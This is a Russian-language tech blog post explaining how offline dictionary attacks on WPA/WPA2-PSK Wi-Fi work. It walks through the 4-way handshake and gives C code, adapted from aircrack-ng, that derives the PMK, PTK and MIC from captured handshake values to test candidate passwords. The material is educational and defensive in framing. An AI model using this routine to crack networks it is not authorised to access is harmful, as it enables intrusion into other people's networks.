Pull to refresh

Об алгоритме взлома WPA-PSK

Reading time8 min
Views152K
Доброго времени суток, уважаемое Хабросообщество!
В данном топике хотелось бы рассмотреть некоторые тонкие вопросы, связанные с атаками на сети Wi-Fi в режиме разделяемого ключа WPA-PSK (если говорить более просто — WPA-PSK — режим без выделенного сервера аутентификации, который используют большинство пользователей Wi-Fi, например, при создании подключения по сети типа компьютер-компьютер).

К чему все это?


На бескрайних просторах интернета можно найти как описание способов такой атаки, так и скачать программы полуавтоматического ее проведения (яркий пример aircrack-ng). Но вот программы эти в большинстве своем представляются пользователю в виде некоего черного ящика, который при этом хорошо если работает в соответствии с руководством по его эксплуатации.

Недавняя статья на Хабре, посвященная одной из таких программ, упоминающая в себе использование радужных таблиц (возможно ли это?) для ускорения атаки, и подтолкнула меня к написанию данного топика. Надеюсь информация окажется полезной, так как аналогов в сети я не встречал ни на отечественном, ни на вражеских языках.

В атаку, товарищи!


Суть атаки на сеть в режиме WPA-PSK заключается в следующем: используя уязвимости протокола аутентификации пользователей (а именно открытую передачу данных) получить из сети некоторые авторизационные данные, а затем воспроизвести на стороне атакующего алгоритм аутентификации (вики в тему, жаль, пока короткая), подставляя в него в качестве исходных данных перехваченный кусочек трафика и пароль (т.н. разделяемый ключ). Настоящий пароль атакующему не известен, поэтому в качестве него выбирается последовательно пароли из заранее подготовленного словаря. Если при воспроизведении алгоритма аутентификации произойдет «успешная авторизация пользователя», значит выбранный из словаря пароль является истинным и атака привела к успешному взлому сети. Подробнее об алгоритме установления соединения (4-стороннее рукопожатие) можно прочитать в первоисточнике.

Чем дальше в лес, тем злее волки

Теперь немного углубимся в дебри замечательного (ли?) стандарта IEEE 802.11i и рассмотрим подробнее алгоритм 4-стороннего рукопожатия.

Исходя из названия режима ("… с разделяемым ключом") логично предположить, что в процессе установления соединения и дальнейшего общения между клиентом и точкой доступа будет использоваться некоторая «ключная» (беда, беда с родной речью) схема, а именно — набор ключей, как временных, так и статических, используемых для шифрования трафика, проверки целостоности сообщений и т.п. При этом договоренность об использовании ключей происходит именно на этапе 4-стороннего рукопожатия.

Для воспроизведения алгоритма аутентификации пользователя на стороне атакующего необходимо иметь информацию не только из пакетов 4-стороннего рукопожатия, но и из пакетов широковещательной рассылки точкой доступа информации об организованной ей сетью (Access Point Beacon, признак такого пакета — MAC-адрес отправителя == MAC-адресу точки доступа (bssid в нотификации стандарта), MAC-адрес получателя широковещательный FF:FF:FF:FF:FF:FF). В частности, из таких фреймов необходимо получить имя сети (essid в нотификации стандарта).

Сообщения 4 стороннего рукопожатия (4 фрейма канального уровня) содержат в себе информационные поля следующего содержимого (указываю только то, что нужно для последующего написания кода, воспроизводящего алгоритм атаки, за подробностями — в стандарт):
  • MAC-адрес точки доступа;
  • MAC-адрес клиента;
  • случайное 32-байтное число, генерируемое точкой доступа при установлении соединения (anonce) — фрейм I;
  • случайное 32-байтное число, генерируемое клиентом (snonce) — фрейм II;
  • размер текущего фрейма аутентификации (без канального заголовка) — фрейм II или III или IV;
  • содержимое фрейма аутентификации (без канального заголовка) — обязательно тот же, фрейм, что выбран в предыдущем пункте;
  • ключ целостности сообщения (mic) — обязательно тот же, фрейм, что выбран в предыдущем пункте;
  • версия протокола защиты данных (WPA или WPA2) — фрейм II или III или IV.
Признаки того, что фрейм является сообщением 4-стороннего рукопожатия легко найти в стандарте IEEE 802.11i в одноименном разделе (4-way handshake).

Теперь кратко об алгоритме установления соединения — точка доступа и клиент обмениваются вышеперечисленными данными (но не и только ими), передавая информацию в открытом (нешифрованном) виде. При этом для устранения усложнения проведения атаки типа «человек посередине» введена проверка целостности сообщений (начиная со второго фрейма!) посредством вычисления функции авторства сообщения, основанной на хэше (HMAC), по его содержимому с использованием в качестве ключа не только статического ключа, т. е. пароля (а на самом деле хэша от него), но и случайных чисел anonce и snonce, сгенерированных участниками рукопожатия в момент установления соединения (а также используются их аппаратные адреса). В результате, так как и клиент и точка доступа знают случайные числа друг друга, а пароль должен быть на них вбит одинаковый, ключи целостности сообщений будут совпадать с двух сторон. Если в процессе передачи 4 фреймов рукопожатия будет зафиксировано 3 успешных проверки целостности (а также устройствам удастся договориться о поддерживаемых режимах работы), то точкой доступа делается вывод о подключении валидного клиента.

Как видно из вышеприведенного описания никакие ключи (ни пароль, ни временные ключи проверки целостности) в открытом виде по сети не передаются.

Возникает справедливый вопрос — как же атакующему получить заветный ключик?

Внутрь черного ящика

Немного пораскинув мозгами на ум приходит простое решение — алгоритм известен, входные данные, за исключением самого пароля, также известны. Так что же мешает проводить вычисления ключа целостности сообщения выбирая любой случайный (ну может и не совсем случайный, все же тешат свое ЧСВ, ставя паролями godgod и пр.) пароль из стоящего на полке словаря Владимира Ивановича Даля. Пусть мы ошибемся несколько тысяч (или миллионов) раз, но рано или поздно Фортуна может улыбнуться нам атакующему своей голливудской улыбкой, и вычисленный ключ целостности совпадет с перехваченным. А это будет означать лишь одно (справедливо в связи с лавинным эффектом хэширующих функций) — пароль, используемый при создании сети вскрыт!

Наконец-то код

Итак, последний рывок. Кто дочитал до сюда сейчас получит конфетку.

Теория позади, впереди практика. Что стоит сделать в первую очередь? Правильно, вычислить набор ключей. А он для режима WPA-PSK достаточно маленький:
  1. Мастер-ключ PMK (многократно захэшированный пароль с использованием в качестве затравки имени сети essid).
  2. Передаточный ключ PTK (вот с помощью него, а точнее его части происходит вычисление ключа целостности сообщений).
Как вычисляются ключи? В этом нам поможет открытый исходный код программного пакета aircrack-ng, а особо жаждущим научного подхода прочтение RFC.

Начнем с пункта 1.

void calc_pmk( char *key, char *essid_pre, uchar pmk[40] )
{
    int i, j, slen;
    uchar buffer[65];
    char essid[33+4];
    SHA_CTX ctx_ipad;
    SHA_CTX ctx_opad;
    SHA_CTX sha1_ctx;

    memset(essid, 0, sizeof(essid));
    memcpy(essid, essid_pre, strlen(essid_pre));
    slen = strlen( essid ) + 4;

    /* setup the inner and outer contexts */

    memset( buffer, 0, sizeof( buffer ) );
    strncpy( (char *) buffer, key, sizeof( buffer ) - 1 );

    for( i = 0; i < 64; i++ )
        buffer[i] ^= 0x36;

    //SHA1_Init() initializes a SHA_CTX structure.
    SHA1_Init( &ctx_ipad );
    //SHA1_Update() can be called repeatedly with chunks of the message to be hashed (len bytes at data).
    SHA1_Update( &ctx_ipad, buffer, 64 );

    for( i = 0; i < 64; i++ )
        buffer[i] ^= 0x6A;

    SHA1_Init( &ctx_opad );
    SHA1_Update( &ctx_opad, buffer, 64 );

    /* iterate HMAC-SHA1 over itself 8192 times */

    essid[slen - 1] = '\1';
    HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk, NULL);
    memcpy( buffer, pmk, 20 );

    for( i = 1; i < 4096; i++ )
    {
        memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        //SHA1_Final() places the message digest in md, which must have space for SHA_DIGEST_LENGTH ==
        //20 bytes of output, and erases the SHA_CTX
        SHA1_Final( buffer, &sha1_ctx );

        memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        SHA1_Final( buffer, &sha1_ctx );

        for( j = 0; j < 20; j++ )
            pmk[j] ^= buffer[j];
    }

    essid[slen - 1] = '\2';
    HMAC(EVP_sha1(), (uchar *)key, strlen(key), (uchar*)essid, slen, pmk+20, NULL);
    memcpy( buffer, pmk + 20, 20 );

    for( i = 1; i < 4096; i++ )
    {
        memcpy( &sha1_ctx, &ctx_ipad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        SHA1_Final( buffer, &sha1_ctx );

        memcpy( &sha1_ctx, &ctx_opad, sizeof( sha1_ctx ) );
        SHA1_Update( &sha1_ctx, buffer, 20 );
        SHA1_Final( buffer, &sha1_ctx );

        for( j = 0; j < 20; j++ )
            pmk[j + 20] ^= buffer[j];
    }
}

Собственно 90 % кода уже позади. Как видно все операции простейшие, в качестве алгоритма хэширования используется SHA-1, а именно его реализация, поставляемая в OpenSSL . Смысл использования в качестве ключа не пароля, а хэша от него двоякий — с одной стороны, это путь к унификации длины ключа (так как длина самого пароля по стандарту может варьироваться от 8 до 63 ASCII-символов), а с другой стороны — внесение вычислительной сложности в алгоритм формирования схемы ключей, чтобы избежать легковесных атак перебором (это два цикла по 4095 итераций в коде).

Переходим к пункту 2. Здесь вычисляется временный (суть временности в том, что в его вычислении участвуют два случайных числа snonce и anonce, являющиеся новыми каждый раз при установлении соединения) ключ PTK, используемый для вычисления ключей целостоности передаваемых фреймов. Помимо чисел snonce и anonce в его формировании участвуют MAC-адреса точки доступа и клиента, сакраментальная фраза «Pairwise key expansion» (придумают же такое) и конечно гвоздь программы — ключ PMK. Необходимость для формирования ключа всех этих параметров делает его с одной стороны ограниченным по времени использования (никакие радужные таблицы не помогут теперь), с другой стороны привязанным к конкретной аппаратуре (атака типа «человек посередине» усложняется), а с третьей стороны — хоть и косвенно, но долговычисляемым, так как он не может быть получен в обход алгоритма формирования ключа PMK.

void calc_ptk( uchar *pmk, uchar pke[100], uchar *ptk )
{
    /* compute the pairwise transient key*/
    for (int i = 0; i < 4; i++)
    {
        pke[99] = i;
        HMAC(EVP_sha1(), pmk, 32, pke, 100, ptk + i * 20, NULL);
    }
}

void main()
{
    uchar pmk[40];  //Используется первых 32 байта
    uchar ptk[80];
    uchar mic[20];  //Используется первых 16 байт

    char *key = "12345678"; 

    char essid_pre[32];
    memset(essid_pre, 0, 32);
    memcpy(essid_pre, "Harkonen", 8);
    
    uchar bssid[6] = { 0x00, 0x14, 0x6c, 0x7e, 0x40, 0x80 };
    uchar stmac[6] = { 0x00, 0x13, 0x46, 0xfe, 0x32, 0x0c };
    uchar anonce[32] = { 0x22, 0x58, 0x54, 0xb0, 0x44, 0x4d, 0xe3, 0xaf,
                         0x06, 0xd1, 0x49, 0x2b, 0x85, 0x29, 0x84, 0xf0,
                         0x4c, 0xf6, 0x27, 0x4c, 0x0e, 0x32, 0x18, 0xb8, 
                         0x68, 0x17, 0x56, 0x86, 0x4d, 0xb7, 0xa0, 0x55 };

    uchar snonce[32] = { 0x59, 0x16, 0x8b, 0xc3, 0xa5, 0xdf, 0x18, 0xd7, 
                         0x1e, 0xfb, 0x64, 0x23, 0xf3, 0x40, 0x08, 0x8d,
                         0xab, 0x9e, 0x1b, 0xa2, 0xbb, 0xc5, 0x86, 0x59, 
                         0xe0, 0x7b, 0x37, 0x64, 0xb0, 0xde, 0x85, 0x70 };
    
    uchar pke[100];
    memset(pke, 0, 100);
    memcpy( pke, "Pairwise key expansion", 23 );
    if( memcmp( stmac, bssid, 6 ) < 0 )    {
        memcpy( pke + 23, stmac, 6 );
        memcpy( pke + 29, bssid, 6 );
    } else {
        memcpy( pke + 23, bssid, 6 );
        memcpy( pke + 29, stmac, 6 );
    }
    if( memcmp( snonce, anonce, 32 ) < 0 ) {
        memcpy( pke + 35, snonce, 32 );
        memcpy( pke + 67, anonce, 32 );
    } else {
        memcpy( pke + 35, anonce, 32 );
        memcpy( pke + 67, snonce, 32 );
    } 

    calc_pmk( key, essid_pre, pmk );
    calc_ptk( pmk, pke, ptk );
}

Код снова элементарный. Сначала в main происходит формирование массива pke, содержащего все вышеописанные параметры, а затем 4-кратное вычисление HMAC. Хотя нас далее будет интересовать исключительно первые 16 байт.

Собственно формирование набора ключей закончено. Остается лишь вычислить с использованием PTK ключ целостности по какому-нибудь из фреймов 4-стороннего рукопожатия (предварительно забив в нем нулями поле mic) и сравнить полученный результат с перехваченным ключом. Функция вычисления ключа целсотности mic представлена в следующем кусочке кода. Различные ветви оператора if соответствуют версиям протокола защиты данных WPA и WPA2.

void calc_mic( int wpaKeyVer, uchar *ptk, uchar *eapol, size_t eapolSize, uchar *mic )
{
    if (wpaKeyVer == 1)
        HMAC(EVP_md5(), ptk, 16, eapol, eapolSize, mic, NULL);
    else
        HMAC(EVP_sha1(), ptk, 16, eapol, eapolSize, mic, NULL);
}

Пример рабочего проекта можно взять отсюда.

Очевидно, что для организации полноценной атаки перебором остается лишь повторить вышеописанный алгоритм для каждого пароля из словаря.

Мысли в слух

Анализ алгоритма аутентификации пользователей в WPA/WPA2-PSK позволяет сделать следующий вывод: радужные таблицы становятся неактуальными при таком подходе к вычислению ключей, а на первый план выходит скорость перебора паролей из словаря.

Но об этом уже в следующий раз…

Спички детям не игрушка

Данный топик был извергнут из глубин моего подсознания исключительно в целях повысить безопасность передачи информации в беспроводных сетях Wi-Fi. Публично обличая методы взлома, используемые нерадивыми личностями, мы способствуем повышению уровня знаний широких кругов пользователей, а как говорится «Предупрежден, значит вооружен!»
Tags:
Hubs:
+80
Comments28

Articles

Change theme settings